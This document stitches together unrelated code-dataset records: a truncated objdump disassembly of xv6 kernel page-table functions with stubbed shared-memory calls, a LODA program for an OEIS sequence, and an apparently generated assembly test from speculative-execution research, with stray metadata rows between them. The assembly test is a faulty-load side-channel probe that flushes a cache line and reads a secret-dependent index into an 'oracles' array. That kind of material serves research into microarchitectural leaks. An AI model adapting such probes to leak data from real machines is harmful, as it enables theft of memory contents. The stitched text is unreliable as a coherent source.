%ebx,%ebx 801069ba: e8 61 fa ff ff call 80106420 <deallocuvm.part.0> 801069bf: eb 12 jmp 801069d3 <freevm+0x33> 801069c1: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 801069c8: 83 c3 01 add $0x1,%ebx 801069cb: 81 fb 00 04 00 00 cmp $0x400,%ebx 801069d1: 74 27 je 801069fa <freevm+0x5a> if(pgdir[i] & PTE_P){ 801069d3: 8b 14 9e mov (%esi,%ebx,4),%edx 801069d6: f6 c2 01 test $0x1,%dl 801069d9: 74 ed je 801069c8 <freevm+0x28> char * v = P2V(PTE_ADDR(pgdir[i])); 801069db: 81 e2 00 f0 ff ff and $0xfffff000,%edx for(i = 0; i < NPDENTRIES; i++){ 801069e1: 83 c3 01 add $0x1,%ebx char * v = P2V(PTE_ADDR(pgdir[i])); 801069e4: 81 c2 00 00 00 80 add $0x80000000,%edx kfree(v); 801069ea: 89 14 24 mov %edx,(%esp) 801069ed: e8 de b8 ff ff call 801022d0 <kfree> for(i = 0; i < NPDENTRIES; i++){ 801069f2: 81 fb 00 04 00 00 cmp $0x400,%ebx 801069f8: 75 d9 jne 801069d3 <freevm+0x33> } } kfree((char*)pgdir); 801069fa: 89 75 08 mov %esi,0x8(%ebp) } 801069fd: 83 c4 10 add $0x10,%esp 80106a00: 5b pop %ebx 80106a01: 5e pop %esi 80106a02: 5d pop %ebp kfree((char*)pgdir); 80106a03: e9 c8 b8 ff ff jmp 801022d0 <kfree> panic("freevm: no pgdir"); 80106a08: c7 04 24 dd 77 10 80 movl $0x801077dd,(%esp) 80106a0f: e8 4c 99 ff ff call 80100360 <panic> 80106a14: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 80106a1a: 8d bf 00 00 00 00 lea 0x0(%edi),%edi 80106a20 <setupkvm>: { 80106a20: 55 push %ebp 80106a21: 89 e5 mov %esp,%ebp 80106a23: 56 push %esi 80106a24: 53 push %ebx 80106a25: 83 ec 20 sub $0x20,%esp if((pgdir = (pde_t*)kalloc()) == 0) 80106a28: e8 53 ba ff ff call 80102480 <kalloc> 80106a2d: 85 c0 test %eax,%eax 80106a2f: 89 c6 mov %eax,%esi 80106a31: 74 75 je 80106aa8 <setupkvm+0x88> memset(pgdir, 0, PGSIZE); 80106a33: c7 44 24 08 00 10 00 movl $0x1000,0x8(%esp) 80106a3a: 00 for(k = kmap; k < &kmap[NELEM(kmap)]; k++) 80106a3b: bb 20 a4 10 80 mov $0x8010a420,%ebx memset(pgdir, 0, PGSIZE); 80106a40: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp) 80106a47: 00 80106a48: 89 04 24 mov %eax,(%esp) 80106a4b: e8 10 d8 ff ff call 80104260 <memset> if(mappages(pgdir, k->virt, k->phys_end - k->phys_start, 80106a50: 8b 53 0c mov 0xc(%ebx),%edx 80106a53: 8b 43 04 mov 0x4(%ebx),%eax 80106a56: 89 34 24 mov %esi,(%esp) 80106a59: 89 54 24 10 mov %edx,0x10(%esp) 80106a5d: 8b 53 08 mov 0x8(%ebx),%edx 80106a60: 89 44 24 0c mov %eax,0xc(%esp) 80106a64: 29 c2 sub %eax,%edx 80106a66: 8b 03 mov (%ebx),%eax 80106a68: 89 54 24 08 mov %edx,0x8(%esp) 80106a6c: 89 44 24 04 mov %eax,0x4(%esp) 80106a70: e8 0b fb ff ff call 80106580 <mappages> 80106a75: 85 c0 test %eax,%eax 80106a77: 78 17 js 80106a90 <setupkvm+0x70> for(k = kmap; k < &kmap[NELEM(kmap)]; k++) 80106a79: 83 c3 10 add $0x10,%ebx 80106a7c: 81 fb 60 a4 10 80 cmp $0x8010a460,%ebx 80106a82: 72 cc jb 80106a50 <setupkvm+0x30> 80106a84: 89 f0 mov %esi,%eax } 80106a86: 83 c4 20 add $0x20,%esp 80106a89: 5b pop %ebx 80106a8a: 5e pop %esi 80106a8b: 5d pop %ebp 80106a8c: c3 ret 80106a8d: 8d 76 00 lea 0x0(%esi),%esi freevm(pgdir); 80106a90: 89 34 24 mov %esi,(%esp) 80106a93: e8 08 ff ff ff call 801069a0 <freevm> } 80106a98: 83 c4 20 add $0x20,%esp return 0; 80106a9b: 31 c0 xor %eax,%eax } 80106a9d: 5b pop %ebx 80106a9e: 5e pop %esi 80106a9f: 5d pop %ebp 80106aa0: c3 ret 80106aa1: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi return 0; 80106aa8: 31 c0 xor %eax,%eax 80106aaa: eb da jmp 80106a86 <setupkvm+0x66> 80106aac: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 80106ab0 <kvmalloc>: { 80106ab0: 55 push %ebp 80106ab1: 89 e5 mov %esp,%ebp 80106ab3: 83 ec 08 sub $0x8,%esp kpgdir = setupkvm(); 80106ab6: e8 65 ff ff ff call 80106a20 <setupkvm> 80106abb: a3 a4 55 11 80 mov %eax,0x801155a4 lcr3(V2P(kpgdir)); // switch to the kernel page table 80106ac0: 05 00 00 00 80 add $0x80000000,%eax 80106ac5: 0f 22 d8 mov %eax,%cr3 } 80106ac8: c9 leave 80106ac9: c3 ret 80106aca: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 80106ad0 <clearpteu>: // Clear PTE_U on a page. Used to create an inaccessible // page beneath the user stack. void clearpteu(pde_t *pgdir, char *uva) { 80106ad0: 55 push %ebp pte_t *pte; pte = walkpgdir(pgdir, uva, 0); 80106ad1: 31 c9 xor %ecx,%ecx { 80106ad3: 89 e5 mov %esp,%ebp 80106ad5: 83 ec 18 sub $0x18,%esp pte = walkpgdir(pgdir, uva, 0); 80106ad8: 8b 55 0c mov 0xc(%ebp),%edx 80106adb: 8b 45 08 mov 0x8(%ebp),%eax 80106ade: e8 ad f8 ff ff call 80106390 <walkpgdir> if(pte == 0) 80106ae3: 85 c0 test %eax,%eax 80106ae5: 74 05 je 80106aec <clearpteu+0x1c> panic("clearpteu"); *pte &= ~PTE_U; 80106ae7: 83 20 fb andl $0xfffffffb,(%eax) } 80106aea: c9 leave 80106aeb: c3 ret panic("clearpteu"); 80106aec: c7 04 24 ee 77 10 80 movl $0x801077ee,(%esp) 80106af3: e8 68 98 ff ff call 80100360 <panic> 80106af8: 90 nop 80106af9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 80106b00 <copyuvm>: // Given a parent process's page table, create a copy // of it for a child. pde_t* copyuvm(pde_t *pgdir, uint sz) { 80106b00: 55 push %ebp 80106b01: 89 e5 mov %esp,%ebp 80106b03: 57 push %edi 80106b04: 56 push %esi 80106b05: 53 push %ebx 80106b06: 83 ec 2c sub $0x2c,%esp pde_t *d; pte_t *pte; uint pa, i, flags; char *mem; if((d = setupkvm()) == 0) 80106b09: e8 12 ff ff ff call 80106a20 <setupkvm> 80106b0e: 85 c0 test %eax,%eax 80106b10: 89 45 e0 mov %eax,-0x20(%ebp) 80106b13: 0f 84 60 01 00 00 je 80106c79 <copyuvm+0x179> return 0; for(i = 0; i < sz; i += PGSIZE){ 80106b19: 8b 45 0c mov 0xc(%ebp),%eax 80106b1c: 85 c0 test %eax,%eax 80106b1e: 0f 84 ac 00 00 00 je 80106bd0 <copyuvm+0xd0> 80106b24: 31 db xor %ebx,%ebx 80106b26: eb 51 jmp 80106b79 <copyuvm+0x79> panic("copyuvm: page not present"); pa = PTE_ADDR(*pte); flags = PTE_FLAGS(*pte); if((mem = kalloc()) == 0) goto bad; memmove(mem, (char*)P2V(pa), PGSIZE); 80106b28: 81 c7 00 00 00 80 add $0x80000000,%edi 80106b2e: c7 44 24 08 00 10 00 movl $0x1000,0x8(%esp) 80106b35: 00 80106b36: 89 7c 24 04 mov %edi,0x4(%esp) 80106b3a: 89 04 24 mov %eax,(%esp) 80106b3d: e8 be d7 ff ff call 80104300 <memmove> if(mappages(d, (void*)i, PGSIZE, V2P(mem), flags) < 0) 80106b42: 8b 45 e4 mov -0x1c(%ebp),%eax 80106b45: 8d 96 00 00 00 80 lea -0x80000000(%esi),%edx 80106b4b: 89 54 24 0c mov %edx,0xc(%esp) 80106b4f: c7 44 24 08 00 10 00 movl $0x1000,0x8(%esp) 80106b56: 00 80106b57: 89 5c 24 04 mov %ebx,0x4(%esp) 80106b5b: 89 44 24 10 mov %eax,0x10(%esp) 80106b5f: 8b 45 e0 mov -0x20(%ebp),%eax 80106b62: 89 04 24 mov %eax,(%esp) 80106b65: e8 16 fa ff ff call 80106580 <mappages> 80106b6a: 85 c0 test %eax,%eax 80106b6c: 78 4d js 80106bbb <copyuvm+0xbb> for(i = 0; i < sz; i += PGSIZE){ 80106b6e: 81 c3 00 10 00 00 add $0x1000,%ebx 80106b74: 39 5d 0c cmp %ebx,0xc(%ebp) 80106b77: 76 57 jbe 80106bd0 <copyuvm+0xd0> if((pte = walkpgdir(pgdir, (void *) i, 0)) == 0) 80106b79: 8b 45 08 mov 0x8(%ebp),%eax 80106b7c: 31 c9 xor %ecx,%ecx 80106b7e: 89 da mov %ebx,%edx 80106b80: e8 0b f8 ff ff call 80106390 <walkpgdir> 80106b85: 85 c0 test %eax,%eax 80106b87: 0f 84 ff 00 00 00 je 80106c8c <copyuvm+0x18c> if(!(*pte & PTE_P)) 80106b8d: 8b 30 mov (%eax),%esi 80106b8f: f7 c6 01 00 00 00 test $0x1,%esi 80106b95: 0f 84 e5 00 00 00 je 80106c80 <copyuvm+0x180> pa = PTE_ADDR(*pte); 80106b9b: 89 f7 mov %esi,%edi flags = PTE_FLAGS(*pte); 80106b9d: 81 e6 ff 0f 00 00 and $0xfff,%esi 80106ba3: 89 75 e4 mov %esi,-0x1c(%ebp) pa = PTE_ADDR(*pte); 80106ba6: 81 e7 00 f0 ff ff and $0xfffff000,%edi if((mem = kalloc()) == 0) 80106bac: e8 cf b8 ff ff call 80102480 <kalloc> 80106bb1: 85 c0 test %eax,%eax 80106bb3: 89 c6 mov %eax,%esi 80106bb5: 0f 85 6d ff ff ff jne 80106b28 <copyuvm+0x28> } } return d; bad: freevm(d); 80106bbb: 8b 45 e0 mov -0x20(%ebp),%eax 80106bbe: 89 04 24 mov %eax,(%esp) 80106bc1: e8 da fd ff ff call 801069a0 <freevm> return 0; 80106bc6: 31 c0 xor %eax,%eax } 80106bc8: 83 c4 2c add $0x2c,%esp 80106bcb: 5b pop %ebx 80106bcc: 5e pop %esi 80106bcd: 5f pop %edi 80106bce: 5d pop %ebp 80106bcf: c3 ret for(i = 0; i < sz; i += PGSIZE){ 80106bd0: bb 00 e0 ff 7f mov $0x7fffe000,%ebx if((pte = walkpgdir(pgdir, (void*) i, 0)) == 0){ 80106bd5: 8b 45 08 mov 0x8(%ebp),%eax 80106bd8: 31 c9 xor %ecx,%ecx 80106bda: 89 da mov %ebx,%edx 80106bdc: e8 af f7 ff ff call 80106390 <walkpgdir> 80106be1: 85 c0 test %eax,%eax 80106be3: 0f 84 a3 00 00 00 je 80106c8c <copyuvm+0x18c> if(!(*pte & PTE_P)){ 80106be9: 8b 30 mov (%eax),%esi 80106beb: f7 c6 01 00 00 00 test $0x1,%esi 80106bf1: 0f 84 89 00 00 00 je 80106c80 <copyuvm+0x180> pa = PTE_ADDR(*pte); 80106bf7: 89 f7 mov %esi,%edi flags = PTE_FLAGS(*pte); 80106bf9: 81 e6 ff 0f 00 00 and $0xfff,%esi 80106bff: 89 75 e4 mov %esi,-0x1c(%ebp) pa = PTE_ADDR(*pte); 80106c02: 81 e7 00 f0 ff ff and $0xfffff000,%edi if((mem = kalloc()) == 0){ 80106c08: e8 73 b8 ff ff call 80102480 <kalloc> 80106c0d: 85 c0 test %eax,%eax 80106c0f: 89 c6 mov %eax,%esi 80106c11: 74 a8 je 80106bbb <copyuvm+0xbb> memmove(mem, (char*)P2V(pa), PGSIZE); 80106c13: 81 c7 00 00 00 80 add $0x80000000,%edi 80106c19: 89 7c 24 04 mov %edi,0x4(%esp) 80106c1d: c7 44 24 08 00 10 00 movl $0x1000,0x8(%esp) 80106c24: 00 80106c25: 89 04 24 mov %eax,(%esp) 80106c28: e8 d3 d6 ff ff call 80104300 <memmove> if(mappages(d, (void*)i, PGSIZE, V2P(mem), flags) < 0){ 80106c2d: 8b 45 e4 mov -0x1c(%ebp),%eax 80106c30: 8d 96 00 00 00 80 lea -0x80000000(%esi),%edx 80106c36: 8b 7d e0 mov -0x20(%ebp),%edi 80106c39: 89 54 24 0c mov %edx,0xc(%esp) 80106c3d: c7 44 24 08 00 10 00 movl $0x1000,0x8(%esp) 80106c44: 00 80106c45: 89 44 24 10 mov %eax,0x10(%esp) 80106c49: 89 5c 24 04 mov %ebx,0x4(%esp) 80106c4d: 89 3c 24 mov %edi,(%esp) 80106c50: e8 2b f9 ff ff call 80106580 <mappages> 80106c55: 85 c0 test %eax,%eax 80106c57: 0f 88 5e ff ff ff js 80106bbb <copyuvm+0xbb> for(i = PGROUNDDOWN(KERNBASE - 1 - PGSIZE); i < KERNBASE - 1; i += PGSIZE){ 80106c5d: 81 c3 00 10 00 00 add $0x1000,%ebx 80106c63: 81 fb 00 00 00 80 cmp $0x80000000,%ebx 80106c69: 0f 85 66 ff ff ff jne 80106bd5 <copyuvm+0xd5> } 80106c6f: 83 c4 2c add $0x2c,%esp 80106c72: 89 f8 mov %edi,%eax 80106c74: 5b pop %ebx 80106c75: 5e pop %esi 80106c76: 5f pop %edi 80106c77: 5d pop %ebp 80106c78: c3 ret return 0; 80106c79: 31 c0 xor %eax,%eax 80106c7b: e9 48 ff ff ff jmp 80106bc8 <copyuvm+0xc8> panic("copyuvm: page not present"); 80106c80: c7 04 24 12 78 10 80 movl $0x80107812,(%esp) 80106c87: e8 d4 96 ff ff call 80100360 <panic> panic("copyuvm: pte should exist"); 80106c8c: c7 04 24 f8 77 10 80 movl $0x801077f8,(%esp) 80106c93: e8 c8 96 ff ff call 80100360 <panic> 80106c98: 90 nop 80106c99: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 80106ca0 <uva2ka>: //PAGEBREAK! // Map user virtual address to kernel address. char* uva2ka(pde_t *pgdir, char *uva) { 80106ca0: 55 push %ebp pte_t *pte; pte = walkpgdir(pgdir, uva, 0); 80106ca1: 31 c9 xor %ecx,%ecx { 80106ca3: 89 e5 mov %esp,%ebp 80106ca5: 83 ec 08 sub $0x8,%esp pte = walkpgdir(pgdir, uva, 0); 80106ca8: 8b 55 0c mov 0xc(%ebp),%edx 80106cab: 8b 45 08 mov 0x8(%ebp),%eax 80106cae: e8 dd f6 ff ff call 80106390 <walkpgdir> if((*pte & PTE_P) == 0) 80106cb3: 8b 00 mov (%eax),%eax 80106cb5: 89 c2 mov %eax,%edx 80106cb7: 83 e2 05 and $0x5,%edx return 0; if((*pte & PTE_U) == 0) 80106cba: 83 fa 05 cmp $0x5,%edx 80106cbd: 75 11 jne 80106cd0 <uva2ka+0x30> return 0; return (char*)P2V(PTE_ADDR(*pte)); 80106cbf: 25 00 f0 ff ff and $0xfffff000,%eax 80106cc4: 05 00 00 00 80 add $0x80000000,%eax } 80106cc9: c9 leave 80106cca: c3 ret 80106ccb: 90 nop 80106ccc: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi return 0; 80106cd0: 31 c0 xor %eax,%eax } 80106cd2: c9 leave 80106cd3: c3 ret 80106cd4: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 80106cda: 8d bf 00 00 00 00 lea 0x0(%edi),%edi 80106ce0 <copyout>: // Copy len bytes from p to user address va in page table pgdir. // Most useful when pgdir is not the current page table. // uva2ka ensures this only works for PTE_U pages. int copyout(pde_t *pgdir, uint va, void *p, uint len) { 80106ce0: 55 push %ebp 80106ce1: 89 e5 mov %esp,%ebp 80106ce3: 57 push %edi 80106ce4: 56 push %esi 80106ce5: 53 push %ebx 80106ce6: 83 ec 1c sub $0x1c,%esp 80106ce9: 8b 5d 14 mov 0x14(%ebp),%ebx 80106cec: 8b 4d 0c mov 0xc(%ebp),%ecx 80106cef: 8b 7d 10 mov 0x10(%ebp),%edi char *buf, *pa0; uint n, va0; buf = (char*)p; while(len > 0){ 80106cf2: 85 db test %ebx,%ebx 80106cf4: 75 3a jne 80106d30 <copyout+0x50> 80106cf6: eb 68 jmp 80106d60 <copyout+0x80> va0 = (uint)PGROUNDDOWN(va); pa0 = uva2ka(pgdir, (char*)va0); if(pa0 == 0) return -1; n = PGSIZE - (va - va0); 80106cf8: 8b 4d e4 mov -0x1c(%ebp),%ecx 80106cfb: 89 f2 mov %esi,%edx if(n > len) n = len; memmove(pa0 + (va - va0), buf, n); 80106cfd: 89 7c 24 04 mov %edi,0x4(%esp) n = PGSIZE - (va - va0); 80106d01: 29 ca sub %ecx,%edx 80106d03: 81 c2 00 10 00 00 add $0x1000,%edx 80106d09: 39 da cmp %ebx,%edx 80106d0b: 0f 47 d3 cmova %ebx,%edx memmove(pa0 + (va - va0), buf, n); 80106d0e: 29 f1 sub %esi,%ecx 80106d10: 01 c8 add %ecx,%eax 80106d12: 89 54 24 08 mov %edx,0x8(%esp) 80106d16: 89 04 24 mov %eax,(%esp) 80106d19: 89 55 e4 mov %edx,-0x1c(%ebp) 80106d1c: e8 df d5 ff ff call 80104300 <memmove> len -= n; buf += n; 80106d21: 8b 55 e4 mov -0x1c(%ebp),%edx va = va0 + PGSIZE; 80106d24: 8d 8e 00 10 00 00 lea 0x1000(%esi),%ecx buf += n; 80106d2a: 01 d7 add %edx,%edi while(len > 0){ 80106d2c: 29 d3 sub %edx,%ebx 80106d2e: 74 30 je 80106d60 <copyout+0x80> pa0 = uva2ka(pgdir, (char*)va0); 80106d30: 8b 45 08 mov 0x8(%ebp),%eax va0 = (uint)PGROUNDDOWN(va); 80106d33: 89 ce mov %ecx,%esi 80106d35: 81 e6 00 f0 ff ff and $0xfffff000,%esi pa0 = uva2ka(pgdir, (char*)va0); 80106d3b: 89 74 24 04 mov %esi,0x4(%esp) va0 = (uint)PGROUNDDOWN(va); 80106d3f: 89 4d e4 mov %ecx,-0x1c(%ebp) pa0 = uva2ka(pgdir, (char*)va0); 80106d42: 89 04 24 mov %eax,(%esp) 80106d45: e8 56 ff ff ff call 80106ca0 <uva2ka> if(pa0 == 0) 80106d4a: 85 c0 test %eax,%eax 80106d4c: 75 aa jne 80106cf8 <copyout+0x18> } return 0; } 80106d4e: 83 c4 1c add $0x1c,%esp return -1; 80106d51: b8 ff ff ff ff mov $0xffffffff,%eax } 80106d56: 5b pop %ebx 80106d57: 5e pop %esi 80106d58: 5f pop %edi 80106d59: 5d pop %ebp 80106d5a: c3 ret 80106d5b: 90 nop 80106d5c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 80106d60: 83 c4 1c add $0x1c,%esp return 0; 80106d63: 31 c0 xor %eax,%eax } 80106d65: 5b pop %ebx 80106d66: 5e pop %esi 80106d67: 5f pop %edi 80106d68: 5d pop %ebp 80106d69: c3 ret 80106d6a: 66 90 xchg %ax,%ax 80106d6c: 66 90 xchg %ax,%ax 80106d6e: 66 90 xchg %ax,%ax 80106d70 <shminit>: char *frame; int refcnt; } shm_pages[64]; } shm_table; void shminit() { 80106d70: 55 push %ebp 80106d71: 89 e5 mov %esp,%ebp 80106d73: 83 ec 18 sub $0x18,%esp int i; initlock(&(shm_table.lock), "SHM lock"); 80106d76: c7 44 24 04 50 78 10 movl $0x80107850,0x4(%esp) 80106d7d: 80 80106d7e: c7 04 24 c0 55 11 80 movl $0x801155c0,(%esp) 80106d85: e8 a6 d2 ff ff call 80104030 <initlock> acquire(&(shm_table.lock)); 80106d8a: c7 04 24 c0 55 11 80 movl $0x801155c0,(%esp) 80106d91: e8 8a d3 ff ff call 80104120 <acquire> 80106d96: b8 f4 55 11 80 mov $0x801155f4,%eax 80106d9b: 90 nop 80106d9c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi for (i = 0; i< 64; i++) { shm_table.shm_pages[i].id =0; 80106da0: c7 00 00 00 00 00 movl $0x0,(%eax) 80106da6: 83 c0 0c add $0xc,%eax shm_table.shm_pages[i].frame =0; 80106da9: c7 40 f8 00 00 00 00 movl $0x0,-0x8(%eax) shm_table.shm_pages[i].refcnt =0; 80106db0: c7 40 fc 00 00 00 00 movl $0x0,-0x4(%eax) for (i = 0; i< 64; i++) { 80106db7: 3d f4 58 11 80 cmp $0x801158f4,%eax 80106dbc: 75 e2 jne 80106da0 <shminit+0x30> } release(&(shm_table.lock)); 80106dbe: c7 04 24 c0 55 11 80 movl $0x801155c0,(%esp) 80106dc5: e8 46 d4 ff ff call 80104210 <release> } 80106dca: c9 leave 80106dcb: c3 ret 80106dcc: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 80106dd0 <shm_open>: int shm_open(int id, char **pointer) { 80106dd0: 55 push %ebp return 0; //added to remove compiler warning -- you should decide what to return } 80106dd1: 31 c0 xor %eax,%eax int shm_open(int id, char **pointer) { 80106dd3: 89 e5 mov %esp,%ebp } 80106dd5: 5d pop %ebp 80106dd6: c3 ret 80106dd7: 89 f6 mov %esi,%esi 80106dd9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80106de0 <shm_close>: int shm_close(int id) { 80106de0: 55 push %ebp return 0; //added to remove compiler warning -- you should decide what to return } 80106de1: 31 c0 xor %eax,%eax int shm_close(int id) { 80106de3: 89 e5 mov %esp,%ebp } 80106de5: 5d pop %ebp 80106de6: c3 ret
38.016889
106
0.528972
c1b0c49544a567c56a13e7f6cacb5dacf719d716
753
asm
Assembly
oeis/099/A099743.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/099/A099743.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/099/A099743.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A099743: Number of permutations with exactly 1 valley which avoid the pattern 1324. ; Submitted by Jon Maiga ; 0,0,2,15,75,313,1179,4161,14051,45993,147195,463345,1440723,4438905,13582955,41350977,125404611,379228489,1144370139,3447856017,10375942835,31198607385,93749962827,281584384225,845476670115,2537990291433,7617326317499,22859176378161,68592930618771,205811675199673,617505087253035,1852664243437185,5558308947278723,16675596856734345,50028207909410715,150087617320437457,450269165563237491,1350820793908460889,4052490350552414219,12157529806809851937,36472712703170820195,109418396494744987945 lpb $0 sub $0,1 add $4,$1 add $1,$5 mul $3,3 max $5,$1 add $1,$3 add $1,2 mul $2,2 add $2,$4 add $3,1 mul $4,2 lpe mov $0,$2
39.631579
493
0.803453
9541a98a14e62141376e63af07c51ad40c908d68
4,236
asm
Assembly
Transynther/x86/_processed/NC/_zr_/i3-7100_9_0x84_notsx.log_21829_2952.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
9
2020-08-13T19:41:58.000Z
2022-03-30T12:22:51.000Z
Transynther/x86/_processed/NC/_zr_/i3-7100_9_0x84_notsx.log_21829_2952.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
1
2021-04-29T06:29:35.000Z
2021-05-13T21:02:30.000Z
Transynther/x86/_processed/NC/_zr_/i3-7100_9_0x84_notsx.log_21829_2952.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
3
2020-07-14T17:07:07.000Z
2022-03-21T01:12:22.000Z
.global s_prepare_buffers s_prepare_buffers: ret .global s_faulty_load s_faulty_load: push %r10 push %r11 push %r12 push %r13 push %r8 push %rdi push %rdx // Store lea addresses_D+0xa482, %r13 nop add $12222, %r8 movl $0x51525354, (%r13) nop nop inc %r11 // Store lea addresses_PSE+0x8a86, %rdi nop nop nop sub %r12, %r12 mov $0x5152535455565758, %r8 movq %r8, %xmm1 movups %xmm1, (%rdi) nop nop nop nop and $32019, %r13 // Faulty Load mov $0x1d9200000000286, %r8 clflush (%r8) nop nop nop and %rdx, %rdx mov (%r8), %r11 lea oracles, %rdx and $0xff, %r11 shlq $12, %r11 mov (%rdx,%r11,1), %r11 pop %rdx pop %rdi pop %r8 pop %r13 pop %r12 pop %r11 pop %r10 ret /* <gen_faulty_load> [REF] {'src': {'type': 'addresses_NC', 'same': False, 'size': 2, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} {'dst': {'type': 'addresses_D', 'same': False, 'size': 4, 'congruent': 2, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'} {'dst': {'type': 'addresses_PSE', 'same': False, 'size': 16, 'congruent': 8, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'} [Faulty Load] {'src': {'type': 'addresses_NC', 'same': True, 'size': 8, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} <gen_prepare_buffer> {'00': 21829} 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 */
58.833333
2,999
0.659821
c1dc08b7153958fd650c9938886d03cec81eef55
1,852
asm
Assembly
programs/oeis/130/A130752.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
22
2018-02-06T19:19:31.000Z
2022-01-17T21:53:31.000Z
programs/oeis/130/A130752.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
41
2021-02-22T19:00:34.000Z
2021-08-28T10:47:47.000Z
programs/oeis/130/A130752.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
5
2021-02-24T21:14:16.000Z
2021-08-09T19:48:05.000Z
